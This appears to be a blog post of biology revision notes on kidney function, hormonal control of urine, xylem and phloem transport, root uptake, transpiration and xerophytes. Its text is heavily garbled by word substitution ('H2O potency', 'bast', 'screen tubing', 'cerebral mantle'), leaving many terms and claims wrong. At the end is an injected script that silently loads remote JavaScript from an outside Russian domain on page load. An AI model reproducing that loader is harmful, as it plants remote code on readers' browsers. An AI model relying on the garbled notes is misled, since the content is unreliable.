in which way and why, # 183 ; how this is controlled. # 183 ; What other animate beings do, peculiarly one-celled? animate beings, fish ( which both excrete ammonium hydroxide straight into H2O ) and insects ( which excrete solid uric acid ) and why. # 183 ; Deamination and the ornithine rhythm ( learn and regurgitate! ) . The Kidney # 183 ; Everything the kidney does is done in the uriniferous tubules ( about a million per kidney ) # 183 ; First, the blood is filtered at the glomerulus. All the constituents of the blood are squeezed through the filter into Bowman # 8217 ; s capsule, except proteins and cells. Reabsorption # 183 ; Glucose, aminic acids and mineral ions are actively reabsorbed into the blood in the proximal convoluted tubule. # 183 ; Water, by osmosis is besides reabsorbed to equilibrate the concentration. # 183 ; Changing sums of salts and H2O are reabsorbed from the distal convoluted tubule. # 183 ; Changing sums of H2O are reabsorbed from the roll uping canals. # 183 ; Some toxicant substances are secreted, actively, into the proximal convoluted tubule.Generating Concentrated Urine # 183 ; go uping limb impermeable to H2O but actively pumps out Na chloride ( salt ) so the fluid in the go uping limb gets more and more dilute. # 183 ; tissue fluid environing cringle has sodium chloride pumped into it from go uping cringle and hence becomes more concentrated. # 183 ; falling limb loses H2O to the environing tissue fluid, passively, by osmosis, but is impermeable to sodium chloride, so salt doesn # 8217 ; t follow. # 183 ; The high Na chloride concentration in the tissue fluid around the cringle draws H2O out of the nearby collection canal, by osmosis.Antidiuretic Hormone ( ADH ) controls the volume and H2O potency of the blood # 183 ; Osmoreceptors in hypothalamus are sensitive to H2O potency of the blood # 183 ; Drop in H2O potency ( more concentrated ) consequences in release of ADH from pituitary secretory organ # 183 ; ADH causes the usually impermeable roll uping canal and distal tubule walls to go more permeable ensuing in more H2O being reabsorbed into the blood and the urine going more concentrated and of a gt ; smaller volume Aldosterone controls the volume and Na ( Na+ ) content of the blood # 183 ; Drop in blood volume detected by cells in the kidney ( juxtaglomerular cells ) , which is by and large associated with low blood Na+ . # 183 ; A complex concatenation of events causes aldosterone to be released from the cerebral mantle of the adrenal secretory organ. # 183 ; Aldosterone causes the distal tubule to resorb more Na+ , which increases blood Na+ and volume. # 183 ; Finally, the kidney helps to command blood pH, by releasing extra acid or base into the distal convoluted tubule ( so the pH of piss can change, but blood pH remains the same ) .Revision notes on Xylem and Phloem ( 3.7? portion ) Root construction Angstrom cross subdivision of a root shows that the vascular tissues occur in packages at regular intervals around the outer portion of the root. The Centre of a root is filled with pith. The outermost bed of the root is rainproof with lenticels for gas exchange. Each package consists of bast on the outside and xylem on the interior with the cambium in between. ? There may besides be sclerenchyma fibers exterior to the bast to give excess strength. ? The cambium is meristematic bring forthing new xylem and bast as the root additions in girth. At the nodes of the root subdivisions in the vascular packages occur so that the vascular packages enter the leafstalks of foliages as good as go oning up the root. In woody workss the vascular tissue forms a complete ring around the root and the Centre of the root becomes filled with xylem ( wood ) as the works gets bigger. Xylem structureXylem consists of xylem vass and tracheids every bit good as parenchyma tissue. ? The vass are made from columns of cells in which the terminal walls hold broken down to go forth a long tubing. ? These cells die as they become specialized because their walls become impregnated with lignin which is non permeable. The net consequence is a tubing of xylem elements in which there is no cytol. ? Xylem vass remain in contact via cavities in their sidelong ( side ) walls. ? Tracheids are besides dead but each tracheid has a pointed terminal and overlaps the 1s above and below, the tracheids besides have connexions via cavities. Between the vass and tracheids is xylem parenchyma. Xylem functionXylem carries H2O and ions from the roots to the root, leaves, flowers and fruits. Water travels upwards in the xylem because of the transpiration pull caused by vaporization of H2O from the cells of the foliage followed by diffusion of H2O vapor through the pore i.e. transpiration ( besides acquire some transpiration through the cuticle ) . The uninterrupted column of H2O in the xylem does non separate due to forces of coherence between the H2O molecules. ? These forces are made possible because H2O is a polar molecule and H2O molecule have hydrogen bonds between them and they besides adhere to the walls of the xylem vessel. ? This is known as the COHESION TENSION THEORY of H2O motion. Conveyance in the xylem is an illustration of MASS FLOW. Because the cytol has gone from the xylem and the terminal walls of the vass have disintegrated so there is no barrier to the flow of H2O up the xylem. ? Water can go forth the xylem through the cavities to travel into next tissues. Ions absorbed in the roots besides move upward in the xylem dissolved in the H2O Water enters the xylem after it has been absorbed and has travelled across the root to the cardinal vascular package of the root. ? Capillarity and Root force per unit area besides play a portion in H2O motion in works but neither can explicate how H2O can go to the top of trees. EvidenceEvidence for the coherence tenseness theory of H2O motion comes from the fact that H2O in the xylem is under tenseness so air enters the xylem if the xylem is damaged and by the fluctuation in the girth of trees at different times of the day. ? Water can be shown to travel up the xylem by leting a root to take up dye. ? Motion of H2O in the xylem is wholly inactive ( it continues if the works is poisoned so that it can non do ATP ) , that means that no chemical energy is expended in H2O motion through the xylem.Phloem StructureThe bast in a works forms merely a really this bed about the same thickness as a piece of paper. Phloem tissue consists of screen tubings, comrades cells and bast parenchyma. ? All phloem tissue is life ( unlike xylem ) although the cytol of the screen tubing is extremely specialised and has a decreased figure of cell cell organs. The screen tubing consist of a column of cells formed end to end. ? Between each cell the cell wall has a figure of holes so that it has the visual aspect of a screen and this is known as the screen plate. ? The cytol of the screen tubing is modified and contains no mitochondria. ? Adjacent to each screen tubing is a comrade cell which has a really heavy cytol and which supplies energy for the screen tubing. The sieve tubing carry sugar up and down the plant. ? They are loaded with sugars in the foliages and so the sugar moves in solution either up or down the works to where it is needed.Theories of Phloem Transport1. Pressure flow 2. Cytoplasmic streaming 3. Electro-osmotic flowNo one theory provides a wholly satisfactory account to flow. The most recognized theory is the force per unit area flow theory that provinces that sugars are loaded into the bast in an country of high concentration, the beginning, and are so transported by mass flow to an country of low concentration, the sink, where they are unloaded. ? This theory allows for substances to travel both up and down the plant. ? Movement of substances in the bast is an active procedure necessitating ATP.Evidence for1. The contents of the bast have a positive pressure- they exude fluid when cut and aphid stylets exude fluid when they penetrate the bast. 2. Experiments have shown a concentration in the bast contents with the highest concentration near the source-analysis of exudations from aphid stylets 3. A physical theoretical account of this theory maps 4. Viruss can be moved in the phloem. ? This must be mass flow as they are nor in solution and are hence non able to travel by diffusion.Evidence against1.Sugars and amino acids have been found to travel in different waies in the same vascular package. 2. Phloem conveyance may non happen in the way of the deepest sink. 3. The screen home base is an hindrance to mass flowExperiments used to look into mass flowRadioactive tracers. ? These are introduced via radioactive C dioxide and photosynthesis and the way traced by autoradiography.Ringing experiments. ? The bast is removed in a ring around the root and this stops flow in the bast. ? Shows that sugars, aminic acids and salts are transported in the phloem.Use of Aphids for sampling3.6? ? ? ? ? ? ? ? ? Exchange of Water and Ions in PlantsMost inquiries in the test ask about some, or all, of the followers: # 183 ; Root construction and map ( peculiarly mineral soaking up ) # 183 ; Stomata and transpiration ( and factors impacting transpiration ) # 183 ; Features of desert plants ( workss that live in really dry conditions ) Root construction and map: # 183 ; Root construction? learn the typical layout of tissues in roots ( Support Booklet p.20 ) and how it differs from stems. # 183 ; Root map: # 183 ; Water and minerals are absorbed through root hairs and base on balls through the cells of the cerebral mantle. # 183 ; These substances can travel through the porous cell walls in the cerebral mantle, instead like H2O soaking through paper, this is called the apoplast tract. # 183 ; Water and minerals can besides go through through the living portion of these cells ( cell membrane, cytol etc. ) ? the symplast tract. # 183 ; The cells of the cerebral mantle besides contain big vacuoles, and substances can go through through these ( every bit good as the cytol etc. ) ? the vacuolar tract. # 183 ; Between the cells of the cerebral mantle and the xylem and bast is a bed of cells called the endodermis. These cells have a particular waterproof bed in portion of their cell walls, organizing the Casparian strip. This forces H2O and minerals to take the symplast tract through the endodermis. # 183 ; Because all cell membranes are selectively permeable, this allows the cells of the endodermis to command the sum of each mineral taken into the xylem: Substance Method of conveyance across endodermis Reason Water Osmosis Water is drawn up xylem in transpiration watercourse ( see 3.7 ) Minerals at a higher concentration in dirt than works cells Facilitated diffusion These can flux down their concentration gradient into the works Minerals at a lower concentration in dirt than works cells Active conveyance ( requires ATP ) These must be moved against their concentration gradient into the works Toxins Transport blocked or inhibited Mechanism unknown ( Water and minerals so pass up the root in the xylem # 8211 ; see 3.7? and enter the foliages ) Stomata and transpiration # 183 ; 99 % of the H2O that goes up the xylem evaporates into air infinites in the foliages, and diffuses out through the pore as H2O vapor, this is transpiration. # 183 ; Anything that affects the concentration gradient of H2O vapor from works to air will hence affect the rate of transpiration: Factor Effect on rate of transpiration Reason Increased light strength Increases Stomata unfastened wider in visible radiation ( see below ) Increased humidness Decreases Decreased concentration gradient ( humid air around foliages ) Increased air motion Additions Increased concentration gradient ( humid air around foliages blown off ) Increased temperature Increases More rapid vaporization from leaves Dry dirt around roots or high salt concentration ( e.g. sea H2O ) Decreases Decreased consumption of H2O into roots, hence less available in foliages ( The rate of transpiration can be measured with a potometer ) . # 183 ; Clearly, pores are really of import in transpiration, as most of the H2O vapor base on ballss through them. They normally open in the visible radiation and shut in the dark ; they besides close when H2O supply to the roots is really poor. # 183 ; Stomatal gap is controlled by the two guard cells which surround each pore. The cell wall on the interior surface is much thicker than on the outer surface. As these cells become bombastic ( crestless wave ) they bend outwards, doing the pore to open ( you can show this by lodging cellulose tape on one side of a allantoid balloon so blowing it up, it bends off from the cellulose tape ) . # 183 ; There are two hypotheses to explicate how guard cells change their form: # 183 ; The K motion hypothesis provinces that K ions ( K+ ) are pumped into the guard cells, by active conveyance. This lowers their H2O potency, H2O flows in by osmosis, the guard cells become bombastic and stomata unfastened. The contrary procedure stopping points pore. This hypothesis is the most widely accepted. # 183 ; The starch-sugar hypothesis provinces that there is a balance between sugars ( soluble ) and amylum ( indissoluble ) controlled by two enzymes with different optimal pH # 8217 ; s. The enzyme which converts amylum into sugar has a high optimal pH ( alkaline ) , which is produced in the twenty-four hours, because acidic CO2 is used up in photosynthesis. Therefore, sugar accumulates, H2O potency beads, H2O enters, cells become bombastic, stomata unfastened. The enzyme which converts sugar to amylum has a low optimal pH ( acidic ) , which is produced at dark, because CO2 is produced by respiration ( no photosynthesis ) . Starch accumulates, but because amylum is indissoluble H2O potency rises, H2O foliages, guard cells lose turgidness, pore near. This hypothesis is non widely accepted.Xerophytes # 183 ; These are workss that are adapted to populate in really dry conditions by holding some, or all, of the undermentioned characteristics: # 183 ; A really thick, waxen cuticle to cut down vaporization of H2O through this portion of the foliage ( epidermal transpiration ) . # 183 ; Stomata sunk into cavities, which trap a bed of humid around them, so cut downing transpiration. # 183 ; Hairs around pores, once more pin downing a bed of humid air. # 183 ; Few, little foliages ; frequently rolled into a tubing. This reduces surface country for transpiration, and humid air is besides trapped inside the inrolled foliage. # 183 ; Shutting pore in the twenty-four hours, when it is hot, and opening them at dark, cut downing vaporization. ( such workss take in CO2 at dark, shop it? as an organic acid and so interrupt the acid down in the twenty-four hours to let go of the CO2, internally, for photosynthesis. This is called CAM photosynthesis ) . # 183 ; Storage of H2O in thick roots and foliages ( these workss are called succulents ) . # 183 ; Deep, tap roots to pull up H2O from deep dirt beds. # 183 ; Roots really near to the dirt surface, to absorb condensation which forms at dark. ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;
Subscribe to:
Posts (Atom)